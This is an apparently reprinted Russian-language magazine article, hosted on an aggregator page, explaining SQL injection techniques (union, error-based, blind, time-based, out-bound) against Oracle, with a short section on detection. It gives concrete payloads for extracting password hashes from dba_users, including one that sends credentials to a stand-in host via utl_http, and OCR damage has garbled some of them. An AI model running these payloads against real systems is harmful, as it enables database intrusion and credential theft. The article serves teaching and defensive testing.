Автоматическое растормаживание колес: Тормозные устройства колес предназначены для уменьшения длины пробега и улучшения маневрирования ВС при...
Двойное оплодотворение у цветковых растений: Оплодотворение - это процесс слияния мужской и женской половых клеток с образованием зиготы...
Топ:
Основы обеспечения единства измерений: Обеспечение единства измерений - деятельность метрологических служб, направленная на достижение...
Организация стока поверхностных вод: Наибольшее количество влаги на земном шаре испаряется с поверхности морей и океанов...
Процедура выполнения команд. Рабочий цикл процессора: Функционирование процессора в основном состоит из повторяющихся рабочих циклов, каждый из которых соответствует...
Интересное:
Инженерная защита территорий, зданий и сооружений от опасных геологических процессов: Изучение оползневых явлений, оценка устойчивости склонов и проектирование противооползневых сооружений — актуальнейшие задачи, стоящие перед отечественными...
Берегоукрепление оползневых склонов: На прибрежных склонах основной причиной развития оползневых процессов является подмыв водами рек естественных склонов...
Принципы управления денежными потоками: одним из методов контроля за состоянием денежной наличности является...
Дисциплины:
2020-02-15 | 999 |
5.00
из
|
Заказать работу |
|
|
Рассмотрим основные способы и техники экспулатации SQL-инъекций, при помощи которых злоумышленник может получить доступ к содержимому БД. Рассматриваемые техники являются универсальными, так
как применимы для СУБД Oracle, MySQL и MS SQL
Server, широко используемых при создании web-приложений, и работают вне зависимости от используемого языка разработки: ASP, Java или PHP.
Далее будут рассмотрены следующие техники эксплуатации уязвимости:
● Union SQL-инъекция.
● Error-based SQL-инъекция.
● Blind SQL-инъекция.
● Time-based SQL-инъекция.
● Out-bound SQL-инъекция.
Union SQL инъекция
Использование данной техники основано на применении оператора UNION, который позволяет объеденить результаты выполнения двух или более запросов
SELECT. Использование данной техники заключается
в добавлении нужного запроса SELECT при помощи
оператора UNION к первоначальному запросу.
Для корректности результирующего запроса, полученного при помощи оператора UNION, необходимо,
чтобы у двух выражений SELECT совпадало количество
и тип аргументов. В противном случае СУБД сгенерирует исключение. В зависимости от логики работы приложения либо будет выведено сообщение о возникшем при
работе с СУБД исключением, либо страница отобразится пользователю некорректно.
Первоначально злоумышлениик перебором определяет количество аргументов в SQL-запросе. Универсальным методом определения количества аргументов является использование оператора сортировки ORDER BY.
При несовпадении количества аргументов СУБД Oracle
выдает следующее сообщение.
ORA01789: query block has incorrect number of result columns
Для определения количества аргументов в качестве
уязвимого строкового параметра передает последовательно следующие значения.
|
запрос выполнен
‘ ORDER BY 1
запрос выполнен
‘ ORDER BY 2
запрос выполнен
‘ ORDER BY 3
возникло исключение
‘ ORDER BY 4
Таким образом, количество аргументов в SQL-запросе равно трем. На практике применяется не линейный, а бинарный поиск. Напомним, что время подбора количества аргументов при бинарном поиске равно
O(log(n)), где n – количество аргументов в запросе.
После определения количества аргументов перебором
определяется для каких аргументов задан constraint NOT
NULL и тип этих аргументов (числовой, строковый или
дата). В качестве остальных аргументов передается null.
возникло исключение
UNION SELECT ‘test’, null, null FROM dual
запрос выполнен
UNION SELECT null, ‘test’, null FROM dual
После определения количества аргументов и определения не нулевых аргументов (NOT NULL), а также их
типов (числовой, строковый и дата), в качестве второго параметра злоумышленник передает нужный SQL-запрос, который должен возвращать строку. Для получения хэша пароля пользователя SYS из таблицы dba_users
можно передать следующее выражение в качестве уязвимого строкового параметра.
‘ UNION SELECT null, (SELECT username || ‘’ || password
FROM dba_users WHERE username = ‘SYS’), null FROM dual
Errorbased SQLинъекция
Данная техника используется, когда приложение некорректно обрабатывает исключения, возникающие при
работе с СУБД, и сообщение о возникшем исключении
отображается пользователю. В СУБД Oracle есть уязвимые функции, которые отображают в сообщении о возникшем исключении часть входных параметров. К таким
функциям относятся XMLType() и ctxsys.drithsx.sn().
Используя данные функции, злоумышленник может построчно считывать информацию из таблицы БД
(например, хэши паролей из таблицы dba_users).
При использовании функции XMLType() SQL-инъекция выглядит следующим образом.
извлечение первой строки из dba_users
‘ AND (1)=UPPER(XMLType(‘<:’|| SELECT cred FROM (SELECT
username || ’‘ || password cred, rownum FROM dba_users)
WHERE rn= 1 ||’>’))
извлечение второй строки из dba_users
‘ AND (1)=UPPER(XMLType(‘<:’|| SELECT cred FROM (SELECT
username || ’‘ || password cred, rownum FROM dba_users)
WHERE rn= 2 ||’>’))
|
…
При использовании функции ctxsys.drithsx.sn() SQLинъекция выглядит следующим образом.
извлечение первой строки из dba_users
‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT
username || ’‘ || password cred, rownum FROM dba_users)
WHERE rn= 1))
4 Защита информации. INSIDE № 2’2011
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО
извлечение второй строки из dba_users
‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT
username || ’‘ || password cred, rownum FROM dba_users)
WHERE rn= 2))
…
Blind SQLинъекция
В случае если нельзя использовать Union и Errorbased SQL-инъекцию: результат выполнения запроса не
отображается пользователю либо приложение корректно обрабатывет исключения. Однако если при этом, модифицируя запрос, можно влиять на логику работы
приложения: при определенных входных данных некоторые страницы отображаются неправильно или запрос
возвращает только часть информации. В этом случе
можно использовать технику Blind SQL.
Составляется SQL-выражение, которое при истинном значении не нарушает логику работы приложения.
При ложном же значении возникает аномальное поведение в работе web-приложения: страницы неправильно отображаются либо возвращается только часть данных. С целью проверки логических условий в качестве
подобного SQL-выражения можно использовать следующее.
// INJECTION – SQLзапрос, который возвращает значение,
либо null
// null – страница некорректно отображается
AND NVL(INJECTION,0)!= 0
Для того чтобы выяснить, обладает ли текущий пользователь правами роли DBA, можно использовать следующую инъекцию.
если страница корректно отобразилась, пользователю
назначена роль DBA
Product 1‘ AND NVL((SELECT LENGTH(username) FROM
user_role_privs WHERE granted_role = ‘DBA’),0)!= 0
Для посимвольного извлечения данных из таблиц
БД можно использовать следующую инъекцию
извлечение первого символа
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM
dual)),1,1)),0) = 65
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM
dual)),1,1)),0) = 66
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM
dual)),1,1)),0) = 67
…
извлечение второго символа
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM
dual)),2,1)),0) = 65
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM
dual)),2,1)),0) = 66
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM
dual)),2,1)),0) = 67
…
Для ускорения посимвольного извлечения можно
использовать бинарный поиск.
Timebased SQLинъекция
Данная техника похожа на Blind SQL-инъекцию. Также составляется SQL-выражение, но анализируется не
возвращаемый результат, а время отклика сервера СУБД.
При ложном значении SQL-выражения время отклика
незначительно, а при истинном значеннии составляется несколько секунд. Используя данную технику можно
|
проверять логические условия, например наличие роли
DBA у текущего пользователя, а также посимвольно извлекать данные из таблиц БД. Time-based SQL-инъекция
выполняется медленне чем Blind SQL-инъекции.
Для внесения задержки обычно используется следующий SQL-запрос.
задержка в несколько секунд
SELECT count(*) FROM all_objects, all_objects
Таким образом, для посимвольного извлечения
данных из таблиц БД можно использовать следующую
инъекцию.
извлечение первого символа
Product 1‘ AND 0!=(select decode(substr(user,1,1),’A’,
(select count(*) from all_objects, all_objects),0) from dual)
Product 1‘ AND 0!=(select decode(substr(user,1,1),’B’,
(select count(*) from all_objects, all_objects),0) from dual)
Product 1‘ AND 0!=(select decode(substr(user,1,1),’C’,
(select count(*) from all_objects, all_objects),0) from dual)
…
извлечение второго символа
Product 1‘ AND 0!=(select decode(substr(user,2,1),’A’,
(select count(*) from all_objects, all_objects),0) from dual)
Product 1‘ AND 0!=(select decode(substr(user,2,1),’B’,
(select count(*) from all_objects, all_objects),0) from dual)
Product 1‘ AND 0!=(select decode(substr(user,2,1),’C’,
(select count(*) from all_objects, all_objects),0) from dual)
…
Как и в предыдущем случае, для ускорения посимвольного извлечения можно использовать бинарный поиск.
Outbound SQLинъекция
В случае если ни одна из вышеперечисленных техник эксплуатации SQL-инъекций не применима можно воспользоваться Out-bound техникой. Для применения данной техники необходим удаленный сервер, который находится под контролем злоумышленника,
либо доступ к директории на сервере СУБД. Техника заключается в следующем: злоумышленник направляет
вывод результата SQL-запроса на удаленный сервер, используя протоколы DNS, HTTP, SMTP, или осуществляет запись в файл, который расположен в доступной
для злоумышленника директории на сервере СУБД.
Используя пакет utl_http злоумышленник может направить данные из таблиц БД на удаленный сервер следующим образом.
--результата выполнения запроса передается
на http://evil.com
‘ AND 1=SELECT SUM(LENGTH(utl_http.request(‘http://ev
il.com/’||username||””||password)) FROM dba.users
Функция Sum() необходима для получения всех записей из таблицы dba_users. Стоит отметить, что в некоторых версиях Oracle в стандартной конфигурации
пакет utl_http доступен на выполнение роли PUBLIC.
Выявление SQL-инъекции.
|
Первым шагом в процессе выявления SQL-инъекции является определение способов передачи данных
в web-приложение:
● параметров, передаваемых при помощи GET- или
POST-методов;
● значений, содержащихся в Cookie;
● параметров HTTP-заголовка (таких как Referer и UserAgent).
После определения входных параметров необходимо определить корректность обработки их web-приложением. Модифицируя входные параметры, необходимо добиться возникновения исключения в web-приложении, результатом которого будет сообщение о возникшем исключении либо некорректно отображенная
страница или ответ, содержащий неполные (избыточные) данные.
Для тестирования страницы на наличие SQL-инъекции
можно выполнить последовательно следующие запросы.
страница отображается корректно
http://localhost:8080/catalog/show.jsp?name=Product 1
не выполнена сортировка данных
http://localhost:8080/catalog/show.jsp?name=Product 1’
AND 1=1
данные на странице не отображаются, т. к. условие
1 = 2 – ложно
http://localhost:8080/catalog/show.jsp?name=Product 1’
AND 1=2
В результате, параметр name на страницe show.jsp является уязвимым.
Для определения SQL-инъекций широко применяются инструментальные средства для автоматического
тестирования web-приложений на наличие уязвимостей: HP WebInspect, HP Scrawlr, IBM Rational AppScan,
SQLiX, Paros Proxy.
Инструментальные средства автоматически выполняют следующие проверки для передаваемых строковых параметров.
value – строковое значение при котором исключение
не возникает
‘
value’ OR
value’ OR 5=5 OR ‘s’=’o
value’ AND 5=5 OR ‘s’=’o
value’ OR 5=0 OR ‘s’=’o
value’ AND 5=0 OR ‘s’=’o
Для числовых параметров выполняют следующие
проверки.
value – числовое значение при котором исключение
не возникает
0+value
value AND 5=5
value AND 5=0
value OR 5=5 OR 4=0
value OR 5=0 OR 4=0
В качестве способов передачи параметров можно задать GET- и POST-методы, Cookie, параметры HTTP-заголовка.
|
|
Своеобразие русской архитектуры: Основной материал – дерево – быстрота постройки, но недолговечность и необходимость деления...
История развития пистолетов-пулеметов: Предпосылкой для возникновения пистолетов-пулеметов послужила давняя тенденция тяготения винтовок...
Типы сооружений для обработки осадков: Септиками называются сооружения, в которых одновременно происходят осветление сточной жидкости...
Наброски и зарисовки растений, плодов, цветов: Освоить конструктивное построение структуры дерева через зарисовки отдельных деревьев, группы деревьев...
© cyberpedia.su 2017-2024 - Не является автором материалов. Исключительное право сохранено за автором текста.
Если вы не хотите, чтобы данный материал был у нас на сайте, перейдите по ссылке: Нарушение авторских прав. Мы поможем в написании вашей работы!